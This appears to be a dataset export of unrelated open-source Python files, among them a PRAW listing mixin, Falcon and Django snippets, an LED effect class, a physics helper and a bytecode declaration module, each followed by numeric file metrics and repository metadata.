self.assertEqual(result_21_13_00.tolist(), answer_21_13_00.tolist()) self.assertEqual(result_23_13_13.tolist(), answer_23_13_13.tolist()) self.assertEqual(result_32_23_42.tolist(), answer_32_23_42.tolist()) self.assertEqual(result_21_12_04.tolist(), answer_21_12_04.tolist()) self.assertEqual(result_22_12_04.tolist(), answer_22_12_04.tolist()) self.assertEqual(result_23_13_25.tolist(), answer_23_13_25.tolist()) self.assertEqual(result_11_11_33.tolist(), answer_11_11_33.tolist()) if __name__ == '__main__': unittest.main()
55.944444
142
0.445356
2,594
19,133
3.116423
0.075559
0.036368
0.080158
0.093518
0.628525
0.527462
0.428501
0.362197
0.343023
0.326324
0
0.224495
0.373961
19,133
341
143
56.108504
0.450409
0.060733
0
0.221374
0
0
0.000446
0
0
0
0
0
0.160305
1
0.019084
false
0
0.01145
0
0.034351
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40c957ed6a9f82b10eaf8bc8f5534d2cbb7e9e79
2,650
py
Python
praw/models/listing/mixins/subreddit.py
Theonefoster/praw
3d79b43a5193387974455f3d3ccdfff644714d09
[ "BSD-2-Clause" ]
4
2018-09-28T01:47:53.000Z
2021-02-13T20:21:14.000Z
praw/models/listing/mixins/subreddit.py
Theonefoster/praw
3d79b43a5193387974455f3d3ccdfff644714d09
[ "BSD-2-Clause" ]
4
2018-09-19T06:27:24.000Z
2018-09-22T00:44:41.000Z
praw/models/listing/mixins/subreddit.py
Theonefoster/praw
3d79b43a5193387974455f3d3ccdfff644714d09
[ "BSD-2-Clause" ]
1
2022-03-15T22:52:53.000Z
2022-03-15T22:52:53.000Z
"""Provide the SubredditListingMixin class.""" from ....const import urljoin from ...base import PRAWBase from ..generator import ListingGenerator from .base import BaseListingMixin from .gilded import GildedListingMixin from .rising import RisingListingMixin class SubredditListingMixin(BaseListingMixin, GildedListingMixin, RisingListingMixin): """Adds additional methods pertaining to Subreddit-like instances.""" @property def comments(self): """Provide an instance of :class:`.CommentHelper`. For example, to output the author of the 25 most recent comments of ``/r/redditdev`` execute: .. code:: python for comment in reddit.subreddit('redditdev').comments(limit=25): print(comment.author) """ if self._comments is None: self._comments = CommentHelper(self) return self._comments def __init__(self, reddit, _data): """Initialize a SubredditListingMixin instance. :param reddit: An instance of :class:`.Reddit`. """ super(SubredditListingMixin, self).__init__(reddit, _data) self._comments = None class CommentHelper(PRAWBase): """Provide a set of functions to interact with a subreddit's comments.""" @property def _path(self): return urljoin(self.subreddit._path, 'comments/') def __init__(self, subreddit): """Initialize a CommentHelper instance.""" super(CommentHelper, self).__init__(subreddit._reddit, None) self.subreddit = subreddit def __call__(self, **generator_kwargs): """Return a ListingGenerator for the Subreddit's comments. Additional keyword arguments are passed in the initialization of :class:`.ListingGenerator`. This method should be used in a way similar to the example below: .. code:: python for comment in reddit.subreddit('redditdev').comments(limit=25): print(comment.author) """ return ListingGenerator(self._reddit, self._path, **generator_kwargs) def gilded(self, **generator_kwargs): """Deprecated. .. warning:: (Deprecated) This method will be removed in PRAW 6 because it doesn't actually restrict the results to gilded Comments. Use ``subreddit.gilded`` instead. Additional keyword arguments are passed in the initialization of :class:`.ListingGenerator`. """ return ListingGenerator(self._reddit, urljoin(self._path, 'gilded'), **generator_kwargs)
32.317073
79
0.649057
272
2,650
6.1875
0.352941
0.016637
0.016637
0.020202
0.185383
0.185383
0.185383
0.185383
0.185383
0.185383
0
0.003562
0.258491
2,650
81
80
32.716049
0.852926
0.450943
0
0.071429
0
0
0.012116
0
0
0
0
0
0
1
0.214286
false
0
0.214286
0.035714
0.642857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
40ccbc09815f68d0178685212200fc523a166c98
57
py
Python
codes/01_Variables_Constants_Keywords_Typecasting/constants.py
kunchalavikram1427/python_made_easy
63d9b5ba4666646d1f932755712ad791d29c0192
[ "Apache-2.0" ]
null
null
null
codes/01_Variables_Constants_Keywords_Typecasting/constants.py
kunchalavikram1427/python_made_easy
63d9b5ba4666646d1f932755712ad791d29c0192
[ "Apache-2.0" ]
null
null
null
codes/01_Variables_Constants_Keywords_Typecasting/constants.py
kunchalavikram1427/python_made_easy
63d9b5ba4666646d1f932755712ad791d29c0192
[ "Apache-2.0" ]
2
2022-02-20T07:45:20.000Z
2022-03-12T17:30:20.000Z
SPEED_LIMIT_IN_KMPH = 80 PI = 3.14 FILE_SIZE_LIMIT = 2000
19
24
0.789474
12
57
3.333333
0.916667
0
0
0
0
0
0
0
0
0
0
0.183673
0.140351
57
3
25
19
0.632653
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40cd7f5aa0ccb4e9dbdfd609d159a147b11aee7a
698
py
Python
cogbot/extensions/groups/error.py
Arcensoth/cogbot
ef9d935ae8c8fbe00fb9370c75e0e6d9189141d0
[ "MIT" ]
8
2016-12-26T14:10:38.000Z
2021-01-02T03:50:05.000Z
cogbot/extensions/groups/error.py
Arcensoth/cogbot
ef9d935ae8c8fbe00fb9370c75e0e6d9189141d0
[ "MIT" ]
28
2016-12-12T04:06:53.000Z
2020-04-23T06:18:55.000Z
cogbot/extensions/groups/error.py
Arcensoth/cogbot
ef9d935ae8c8fbe00fb9370c75e0e6d9189141d0
[ "MIT" ]
9
2017-06-03T00:33:57.000Z
2020-10-29T18:16:02.000Z
class GroupDirectoryError(Exception): pass class NoSuchRoleIdError(GroupDirectoryError): def __init__(self, *args, role_id, **kwargs): super().__init__(*args, **kwargs) self.role_id = role_id class NoSuchRoleNameError(GroupDirectoryError): def __init__(self, *args, role_name, **kwargs): super().__init__(*args, **kwargs) self.role_name = role_name class GroupDirectoryGroupError(GroupDirectoryError): def __init__(self, *args, group, **kwargs): super().__init__(*args, **kwargs) self.group = group class NoSuchGroupError(GroupDirectoryGroupError): pass class GroupAlreadyExistsError(GroupDirectoryGroupError): pass
24.068966
56
0.706304
66
698
7.015152
0.287879
0.142549
0.168467
0.194384
0.442765
0.36933
0.142549
0
0
0
0
0
0.181948
698
28
57
24.928571
0.810858
0
0
0.333333
0
0
0
0
0
0
0
0
0
1
0.166667
false
0.166667
0
0
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
40d6bac5ec2dd005662ed6641ed9069238138a7c
464
py
Python
odp/api/dependencies/catalogue.py
SAEONData/Open-Data-Platform
cfd2a53e145ec86e187d7c4e1260df17ec6dcb03
[ "MIT" ]
2
2021-03-04T07:09:47.000Z
2022-01-02T19:23:41.000Z
odp/api/dependencies/catalogue.py
SAEONData/Open-Data-Platform
cfd2a53e145ec86e187d7c4e1260df17ec6dcb03
[ "MIT" ]
18
2020-09-16T09:16:45.000Z
2022-01-25T14:17:42.000Z
odp/api/dependencies/catalogue.py
SAEONData/Open-Data-Platform
cfd2a53e145ec86e187d7c4e1260df17ec6dcb03
[ "MIT" ]
1
2021-06-25T13:02:57.000Z
2021-06-25T13:02:57.000Z
from typing import Union from pydantic import UUID4, constr from odp.api.models.metadata import DOI_REGEX from odp.config import config def get_metadata_landing_page_url(record_id_or_doi: Union[UUID4, constr(regex=DOI_REGEX)]) -> str: """ Gets the redirect target for a metadata record in the catalogue. The record may be identified either by ID or by DOI. """ return f'{config.CATALOGUE.METADATA_LANDING_PAGE_BASE_URL}/{record_id_or_doi}'
30.933333
98
0.769397
74
464
4.608108
0.527027
0.035191
0.111437
0.076246
0.093842
0
0
0
0
0
0
0.005115
0.157328
464
14
99
33.142857
0.867008
0.252155
0
0
0
0
0.207951
0.207951
0
0
0
0
0
1
0.166667
false
0
0.666667
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
40df99a3e12895ae2c96ab304beb8ca8227dc206
473
py
Python
test/controllers/foo.py
kovalewvladimir/falcon-openapi
8fd3af74bdbda200b5b201bb60da8546a57e434b
[ "MIT" ]
null
null
null
test/controllers/foo.py
kovalewvladimir/falcon-openapi
8fd3af74bdbda200b5b201bb60da8546a57e434b
[ "MIT" ]
null
null
null
test/controllers/foo.py
kovalewvladimir/falcon-openapi
8fd3af74bdbda200b5b201bb60da8546a57e434b
[ "MIT" ]
null
null
null
import falcon class Foo(object): def on_get(self, req, resp): """Handles GET requests""" resp.status = falcon.HTTP_200 resp.json = {"method": "get"} def on_post(self, req, resp): """Handles POST requests""" resp.status = falcon.HTTP_200 resp.json = {"method": "post"} def do_a_put(self, req, resp): """Handles PUT requests""" resp.status = falcon.HTTP_418 resp.json = {"method": "put"}
26.277778
38
0.566596
60
473
4.35
0.383333
0.08046
0.126437
0.206897
0.452107
0.344828
0.344828
0.344828
0.344828
0
0
0.026471
0.281184
473
17
39
27.823529
0.741176
0.133192
0
0.181818
0
0
0.071066
0
0
0
0
0
0
1
0.272727
false
0
0.090909
0
0.454545
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
40e8317fc94ca6781f5bc0ba7431cb6cc0769a1f
280
py
Python
nomnom/management/commands/dbdelete.py
tluderer/nomnom-server
0cdfe9a6d873d87edda56fad27b8dae99b317ab7
[ "MIT" ]
null
null
null
nomnom/management/commands/dbdelete.py
tluderer/nomnom-server
0cdfe9a6d873d87edda56fad27b8dae99b317ab7
[ "MIT" ]
4
2021-04-14T15:40:03.000Z
2021-04-14T15:40:36.000Z
nomnom/management/commands/dbdelete.py
tluderer/nomnom-server
0cdfe9a6d873d87edda56fad27b8dae99b317ab7
[ "MIT" ]
null
null
null
from django.core.management.base import BaseCommand, CommandError from nomnom.models import Ingredient, Recipe class Command(BaseCommand): help = 'Creates mock data and fills database with it.' def handle(self, *args, **options): Recipe.objects.all().delete()
25.454545
65
0.732143
35
280
5.857143
0.885714
0
0
0
0
0
0
0
0
0
0
0
0.167857
280
10
66
28
0.879828
0
0
0
0
0
0.160714
0
0
0
0
0
0
1
0.166667
false
0
0.333333
0
0.833333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
40eb125adf51359f95265fe4f0d0fd29474064ca
556
py
Python
powx-n/powx-n.py
Atri10/Leet-code---Atri_Patel
49fc59b9147a44ab04a66128fbb2ef259b5f7b7c
[ "MIT" ]
1
2021-10-10T20:21:18.000Z
2021-10-10T20:21:18.000Z
powx-n/powx-n.py
Atri10/Leet-code---Atri_Patel
49fc59b9147a44ab04a66128fbb2ef259b5f7b7c
[ "MIT" ]
null
null
null
powx-n/powx-n.py
Atri10/Leet-code---Atri_Patel
49fc59b9147a44ab04a66128fbb2ef259b5f7b7c
[ "MIT" ]
null
null
null
class Solution: def myPow(self, x: float, n: int) -> float: memo = {} def power(x,n): if n in memo:return memo[n] if n==0: return 1 elif n==1:return x elif n < 0: memo[n] = power(1/x,-n) return memo[n] elif n%2==0: memo[n] = power(x*x,n//2) return memo[n] else: memo[n] = x * power(x*x,(n-1)//2) return memo[n] return power(x,n)
26.47619
49
0.366906
75
556
2.72
0.253333
0.171569
0.215686
0.107843
0
0
0
0
0
0
0
0.036232
0.503597
556
21
50
26.47619
0.702899
0
0
0.176471
0
0
0
0
0
0
0
0
0
1
0.117647
false
0
0
0
0.411765
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40f04db460968ec549b4ff945a0b68a70bd64909
549
py
Python
tetrahedron/solid_effect.py
mayhem/led-tetrahedron
bed314d0db3c4fe355cd047434b04108e19265cf
[ "BSD-2-Clause" ]
null
null
null
tetrahedron/solid_effect.py
mayhem/led-tetrahedron
bed314d0db3c4fe355cd047434b04108e19265cf
[ "BSD-2-Clause" ]
null
null
null
tetrahedron/solid_effect.py
mayhem/led-tetrahedron
bed314d0db3c4fe355cd047434b04108e19265cf
[ "BSD-2-Clause" ]
null
null
null
import effect class SolidEffect(effect.Effect): def __init__(self, led_art, name): effect.Effect.__init__(self, led_art, name) self.color = (255, 255, 255) self.done = False self.effect_name = "solid color" def setup(self): self.done = False def set_color(self, color): pass self.color = color self.done = False def loop(self): if not self.done: self.led_art.set_color(self.color) self.led_art.show() self.done = True
18.3
51
0.571949
71
549
4.211268
0.323944
0.133779
0.133779
0.093645
0.120401
0
0
0
0
0
0
0.024324
0.326047
549
29
52
18.931034
0.783784
0
0
0.166667
0
0
0.020036
0
0
0
0
0
0
1
0.222222
false
0.055556
0.055556
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
40f1ebf8973618f184fa7cf3e8ad4fb7414a2c1a
208
py
Python
Recursion/sum_natural.py
Joisha02/DataStructure-in-C
fc8c5876e763a56747934c39c1fa396b0ab7ef21
[ "MIT" ]
null
null
null
Recursion/sum_natural.py
Joisha02/DataStructure-in-C
fc8c5876e763a56747934c39c1fa396b0ab7ef21
[ "MIT" ]
null
null
null
Recursion/sum_natural.py
Joisha02/DataStructure-in-C
fc8c5876e763a56747934c39c1fa396b0ab7ef21
[ "MIT" ]
1
2021-10-17T19:33:01.000Z
2021-10-17T19:33:01.000Z
def sum_Natural(n): if n == 0: return 0 else: return sum_Natural(n - 1) + n n = int(input()) result = sum_Natural(n) print(f"Sum of first {n} natural numbers -> {result}")
18.909091
55
0.548077
32
208
3.46875
0.53125
0.27027
0.297297
0
0
0
0
0
0
0
0
0.020979
0.3125
208
10
56
20.8
0.755245
0
0
0
0
0
0.222222
0
0
0
0
0
0
1
0.125
false
0
0
0
0.375
0.125
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40fa2ac7344d8f5ef65954b8ee8836031dec94f4
2,419
py
Python
Mecanica/cinematica/ultrapassagem.py
VictorArnaud/Fisica
081c0b358339ad2dbe615fb43bb1a792cc360442
[ "MIT" ]
2
2020-07-20T13:00:44.000Z
2022-01-11T10:55:29.000Z
Mecanica/cinematica/ultrapassagem.py
VictorArnaud/Fisica
081c0b358339ad2dbe615fb43bb1a792cc360442
[ "MIT" ]
null
null
null
Mecanica/cinematica/ultrapassagem.py
VictorArnaud/Fisica
081c0b358339ad2dbe615fb43bb1a792cc360442
[ "MIT" ]
null
null
null
class Ultrapassagem(object): """ Métodos para resolução de tópicos de física: Ultrapassagem Obs: Utilize parâmetros nomeados """ ERROR = "Argumentos invalidos, verifique a documentação do método." @classmethod def velocidade_relativa(cls, V1: float=None, V2: float=None, sentidos_opostos: bool=False) -> float: """ Velocidade de ultrapassagem relativa depende do sentido de ultrapassagem, se o tiver o mesmo sentido que no caso é o padrão, (sentido_contrario=False) vai subtrair as velocidade, caso contrario irá somar. :param V1: Velocidade do objeto ultrapassando :param V2: Velocidade do objeto ultrapassado :param sentidos_opostos: Sentido da ultrapassagem, False se for no mesmo sentido (padrão) e True em sentidos contrarios :return: Velocidade Relativa (Vr) """ if V1 is None or V2 is None: raise Exception(cls.ERROR) if sentidos_opostos: Vr = V1 + V2 else: Vr = V1 - V2 return Vr @classmethod def velocidade_de_ultrapassagem(cls, DS :float=None, DT :float=None) -> float: """ Velocidade de ultrapassagem (Vu) :param DS: Comprimento dos corpos :param DT: Intervalo de duração da ultrapassagem :return: Velocidade de ultrapassagem (Vu) """ if DS is None or DT is None: raise Exception(cls.ERROR) Vu = DS/DT return Vu @classmethod def comprimento_dos_corpos(cls, Vu :float=None, DT :float=None) -> float: """ Comprimento do corpo (DS) ultrapassado :param Vu: Velocidade de ultrapassagem :param DT: Intervalo de duração da ultrapassagem :return: Comprimento do corpo ultrapassado (DS) """ if Vu is None or DT is None: raise Exception(cls.ERROR) DS = Vu * DT return DS @classmethod def tempo_de_ultrapassagem(cls, DS :float=None, Vu :float=None) -> float: """ Intervalo de duração da ultrapassagem (DT) :param DS: Comprimento dos corpos :param Vu: Velocidade de ultrapassagem :return: Intervalo de duração da ultrapassagem (DT) """ if DS is None or Vu is None: raise Exception(cls.ERROR) DT = DS/Vu return DT
28.458824
107
0.607689
286
2,419
5.101399
0.276224
0.049349
0.10281
0.054832
0.361206
0.309801
0.115147
0.115147
0.05209
0.05209
0
0.006101
0.322447
2,419
84
108
28.797619
0.884076
0.443158
0
0.275862
0
0
0.051865
0
0
0
0
0.011905
0
1
0.137931
false
0.103448
0
0
0.344828
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
2
dc0a7f55243ee7a4ca8b2df209db44a5c9bc99f2
284
py
Python
tests/unit/test_example.py
lypant/penv
cf0a598c691f1b877a5140359b41605822f3c2f4
[ "MIT" ]
null
null
null
tests/unit/test_example.py
lypant/penv
cf0a598c691f1b877a5140359b41605822f3c2f4
[ "MIT" ]
null
null
null
tests/unit/test_example.py
lypant/penv
cf0a598c691f1b877a5140359b41605822f3c2f4
[ "MIT" ]
null
null
null
"""Unit tests for 'example' module""" from unittest import TestCase from penv.example import add class TestExample(TestCase): """Tests of example module""" def test_add_positive(self): """Test addition of positive numbers""" self.assertEqual(5, add(2, 3))
21.846154
47
0.679577
37
284
5.162162
0.648649
0.136126
0
0
0
0
0
0
0
0
0
0.013216
0.200704
284
12
48
23.666667
0.828194
0.31338
0
0
0
0
0
0
0
0
0
0
0.2
1
0.2
false
0
0.4
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
dc0e72c4ed93a111308dc1e8c16d3053c07c2b11
10,778
py
Python
equip/bytecode/decl.py
neuroo/equip
470c168cf26d1d8340aa5ab37a5364d999a0b2f4
[ "Apache-2.0" ]
102
2015-01-03T13:51:03.000Z
2022-02-28T03:56:26.000Z
equip/bytecode/decl.py
neuroo/equip
470c168cf26d1d8340aa5ab37a5364d999a0b2f4
[ "Apache-2.0" ]
4
2016-12-09T00:31:39.000Z
2019-07-28T09:48:18.000Z
equip/bytecode/decl.py
neuroo/equip
470c168cf26d1d8340aa5ab37a5364d999a0b2f4
[ "Apache-2.0" ]
9
2015-05-08T12:17:28.000Z
2020-12-17T08:20:00.000Z
# -*- coding: utf-8 -*- """ equip.bytecode.decl ~~~~~~~~~~~~~~~~~~~ Structured representation of Module, Types, Method, Imports. :copyright: (c) 2014 by Romain Gaucher (@rgaucher) :license: Apache 2, see LICENSE for more details. """ import dis from operator import attrgetter, \ methodcaller from ..utils.log import logger from ..visitors.bytecode import BytecodeVisitor from .utils import update_nested_code_object class Declaration(object): """ Base class for the declaration types of object. """ MODULE = 1 TYPE = 2 METHOD = 3 FIELD = 4 IMPORT = 5 def __init__(self, kind, _code_object): self._kind = kind self._code_object = _code_object self._parent = None self._children = [] self._lines = None self._bytecode = [] self._bytecode_object = None self._has_changes = False @property def lines(self): """ A tuple of start/end line numbers that encapsulates this declaration. """ return self._lines @lines.setter def lines(self, value): self._lines = value @property def start_lineno(self): """ Returns the start line number of the declaration. """ return self._lines[0] if self._lines else -1 def get_start_lineno(self): return self.start_lineno @property def end_lineno(self): """ Returns the end line number of the declaration. """ return self._lines[1] if self._lines else -1 @property def parent(self): """ Returns the parent of this declaration or ``None`` if there is no parent (e.g., for a ``ModuleDeclaration``). """ return self._parent @parent.setter def parent(self, value): # logger.debug("Set parent. %s", value) self._parent = value self._parent.add_child(self) @property def children(self): """ Returns the children of this declaration. """ return self._children def add_child(self, child): """ Adds a child to this declaration. :param child: A ``Declaration`` that is a child of the current declaration. """ self._children.append(child) # logger.debug("add_child:: Children: %s", self.children) # Keep sorting by line number self._children = sorted(self._children, key=methodcaller('get_start_lineno')) @property def parent_module(self): """ Returns the parent module (a ``ModuleDeclaration``) for this declaration. """ return self.__get_parent_kind(ModuleDeclaration) @property def parent_class(self): """ Returns the parent class (a ``TypeDeclaration``) for this declaration. """ return self.__get_parent_kind(TypeDeclaration) @property def parent_method(self): """ Returns the parent method (a ``MethodDeclaration``) for this declaration. """ return self.__get_parent_kind(MethodDeclaration) def __get_parent_kind(self, kind): p = self.parent while p is not None: if isinstance(p, kind): return p p = p.parent return None @property def bytecode(self): """ Returns the bytecode associated with this declaration. """ return self._bytecode @bytecode.setter def bytecode(self, value): self._bytecode = value @property def code_object(self): return self._code_object @code_object.setter def code_object(self, value): self._code_object = value def update_nested_code_object(self, original_co, new_co): self._code_object = update_nested_code_object(self._code_object, original_co, new_co) self._has_changes = True @property def has_changes(self): return self._has_changes @has_changes.setter def has_changes(self, value): self._has_changes = value # Mostly reserved @property def bytecode_object(self): return self._bytecode_object @bytecode_object.setter def bytecode_object(self, value): self._bytecode_object = value def accept(self, visitor): if isinstance(visitor, BytecodeVisitor): for i in xrange(len(self._bytecode)): index, lineno, op, arg, cflow_in, _ = self._bytecode[i] visitor.visit(index, op, arg=arg, lineno=lineno, cflow_in=cflow_in) is_module = lambda self: self.kind == Declaration.MODULE is_type = lambda self: self.kind == Declaration.TYPE is_method = lambda self: self.kind == Declaration.METHOD is_field = lambda self: self.kind == Declaration.FIELD is_import = lambda self: self.kind == Declaration.IMPORT @property def kind(self): return self._kind class ImportDeclaration(Declaration): """ Models an import statement. It handles relatives/absolute imports, as well as aliases. """ def __init__(self, code_object): Declaration.__init__(self, Declaration.IMPORT, code_object) self._root = None self._aliases = None self._live_names = None self._dots = -1 self._star = False @property def star(self): return self._star @star.setter def star(self, value): self._star = value @property def aliases(self): return self._aliases @aliases.setter def aliases(self, value): self._aliases = value @property def live_names(self): if self._live_names is None: self._live_names = set() for (name, alias) in self.aliases: if alias is None: if '.' not in name: self._live_names.add(name) else: live_name = name[:name.rfind('.')] self._live_names.add(live_name) else: self._live_names.add(alias) return self._live_names @property def dots(self): return self._dots @dots.setter def dots(self, value): self._dots = value @property def root(self): return self._root @root.setter def root(self, value): self._root = value def __eq__(self, obj): return self.root == obj.root and self.aliases == obj.aliases and self.dots == obj.dots def __repr__(self): skip_import_root = False import_buffer = '' if self.dots > 0: import_buffer += 'from ' + '.' * self.dots if self.root: import_buffer += self.root skip_import_root = True import_buffer += ' import ' elif self.root: import_buffer += 'from ' else: import_buffer += 'import ' if self.root and not skip_import_root: import_buffer += self.root + ' import ' if self.star: import_buffer += '*' import_list = [] for aliased_name in self.aliases: local_import = aliased_name[0] if aliased_name[1]: local_import += ' as ' + aliased_name[1] import_list.append(local_import) if import_list: import_buffer += ', '.join(import_list) return 'Import(%s)' % import_buffer class ModuleDeclaration(Declaration): """ The module is the object that captures everything under one pyc file. It contains nested classes and functions, as well as import statements. """ def __init__(self, module_path, code_object): Declaration.__init__(self, Declaration.MODULE, code_object) self._module_path = module_path self._imports = [] self._classes = None self._functions = None def add_import(self, importDecl): if importDecl not in self._imports: self._imports.append(importDecl) @property def imports(self): return self._imports @property def module_path(self): return self._module_path @property def classes(self): if self._classes is None: self._classes = [ c for c in self.children if c.is_type() ] return self._classes @property def functions(self): if self._functions is None: self._functions = [ f for f in self.children if f.is_method() ] return self._functions def __repr__(self): return 'ModuleDeclaration(path=%s, co=%s)' % (self.module_path, self.code_object) class TypeDeclaration(Declaration): """ Represent a class declaration. It has a name, as well as a hierarchy (superclass). The type contains several methods and fields, and can have nested types. """ def __init__(self, type_name, code_object): Declaration.__init__(self, Declaration.TYPE, code_object) self._type_name = type_name self._superclasses = set() self._methods = None self._fields = None self._nested_types = None @property def type_name(self): """ Returns the name of the type. """ return self._type_name @property def superclasses(self): return self._superclasses def add_superclass(self, type_name): self._superclasses.add(type_name) @property def methods(self): """ Returns a list of ``MethodDeclaration`` that belong to this type. """ if self._methods is None: self._methods = [ f for f in self.children if f.is_method() ] return self._methods @property def fields(self): return self.fields @property def nested_types(self): """ Returns a list of ``TypeDeclaration`` that belong to this type. """ if self._nested_types is None: self._nested_types = [ c for c in self.children if c.is_type() ] return self._nested_types def __repr__(self): return 'TypeDeclaration#%d(name=%s, co=%s, super=%s)' \ % (self.start_lineno, self.type_name, self.code_object, self.superclasses) class MethodDeclaration(Declaration): """ The declaration of a method or a function. """ def __init__(self, method_name, code_object): Declaration.__init__(self, Declaration.METHOD, code_object) self._method_name = method_name self._formal_parameters = [] self._body = None self._labels = dis.findlabels(code_object.co_code) self._nested_types = [] @property def body(self): return self._body @body.setter def body(self, value): self._body = value @property def labels(self): return self._labels @property def is_lambda(self): return self.method_name == '<lambda>' @property def formal_parameters(self): return self._formal_parameters @formal_parameters.setter def formal_parameters(self, value): self._formal_parameters = value @property def method_name(self): return self._method_name @property def nested_types(self): return self._nested_types def __repr__(self): return 'MethodDeclaration#%d(name=%s, args=%s, co=%s)' \ % (self.start_lineno, self.method_name, self.formal_params, self.code_object) class FieldDeclaration(Declaration): def __init__(self, field_name, code_object): Declaration.__init__(self, Declaration.FIELD, code_object) self._field_name = field_name @property def field_name(self): return self._field_name
24.111857
90
0.663296
1,378
10,778
4.942671
0.140784
0.052856
0.04111
0.022023
0.180003
0.101454
0.089708
0.062693
0.022904
0.022904
0
0.002423
0.234181
10,778
446
91
24.165919
0.822753
0.158193
0
0.166667
0
0
0.022777
0.009385
0.003546
0
0
0
0
1
0.22695
false
0
0.117021
0.085106
0.549645
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
dc0fb30ff45fc45aa3b47400ad7bc72b515f7a74
1,418
py
Python
accounts/admin.py
Gerard-007/musicalpacks
ef12c7281b395268ac53247fd34c3499f7a0569a
[ "MIT" ]
null
null
null
accounts/admin.py
Gerard-007/musicalpacks
ef12c7281b395268ac53247fd34c3499f7a0569a
[ "MIT" ]
7
2020-06-05T20:23:21.000Z
2022-03-11T23:45:33.000Z
accounts/admin.py
Gerard-007/musicalpacks
ef12c7281b395268ac53247fd34c3499f7a0569a
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import User from .forms import UserCreateForm from django.contrib.auth.models import Group from django.contrib.auth.admin import UserAdmin # Register your models here. class MyAdmin(UserAdmin): # The forms to add and change user instances # form = UserChangeForm add_form = UserCreateForm # The fields to be used in displaying the User model. # These override the definitions on the base UserAdmin # that reference specific fields on auth.User. list_display = ('username', 'email', 'date_joined', 'is_staff', 'is_active') list_filter = ('is_staff',) fieldsets = ( (None, {'fields': ('email', 'password')}), ('Personal info', {'fields': ('avatar', 'bio',)}), ('Permissions', {'fields': ('is_staff',)}), ) # add_fieldsets is not a standard ModelAdmin attribute. UserAdmin # overrides get_fieldsets to use this attribute when creating a user. add_fieldsets = ( (None, { 'classes': ('wide',), 'fields': ('username', 'email', 'password1', 'password2')} ), ) search_fields = ('username',) ordering = ('username',) filter_horizontal = () # Now register the new UserAdmin... admin.site.register(User, MyAdmin) # ... and, since we're not using Django's built-in permissions, # unregister the Group model from admin. admin.site.unregister(Group)
34.585366
80
0.6622
168
1,418
5.511905
0.505952
0.032397
0.055076
0.045356
0
0
0
0
0
0
0
0.001791
0.212271
1,418
40
81
35.45
0.827216
0.358251
0
0
0
0
0.206013
0
0
0
0
0
0
1
0
false
0.08
0.2
0
0.56
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
dc129448ec9bcba2fab95831fb90c2155c83c51a
146
py
Python
test4.py
brautaset/Test
6ecbc436b08835b8a7d195cee701b8d639fd5bd2
[ "Apache-2.0" ]
null
null
null
test4.py
brautaset/Test
6ecbc436b08835b8a7d195cee701b8d639fd5bd2
[ "Apache-2.0" ]
null
null
null
test4.py
brautaset/Test
6ecbc436b08835b8a7d195cee701b8d639fd5bd2
[ "Apache-2.0" ]
null
null
null
import numpy as np x = np.arange(18).reshape(6,3) print(x) y = np.array_split(x, 3) y = np.delete(y, 1, axis=0).reshape(-1,3) print(y) print(x)
14.6
41
0.643836
33
146
2.818182
0.545455
0.129032
0
0
0
0
0
0
0
0
0
0.072
0.143836
146
9
42
16.222222
0.672
0
0
0.285714
0
0
0
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0.428571
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
90531220a9376a7c1ca55e17cea625726dc1dc64
413
py
Python
src/lib/etc.py
project-pitomi/pitomi-batch
58f4b6b154e47d451721d18076f7aebc7e1c33c4
[ "Apache-2.0" ]
null
null
null
src/lib/etc.py
project-pitomi/pitomi-batch
58f4b6b154e47d451721d18076f7aebc7e1c33c4
[ "Apache-2.0" ]
null
null
null
src/lib/etc.py
project-pitomi/pitomi-batch
58f4b6b154e47d451721d18076f7aebc7e1c33c4
[ "Apache-2.0" ]
null
null
null
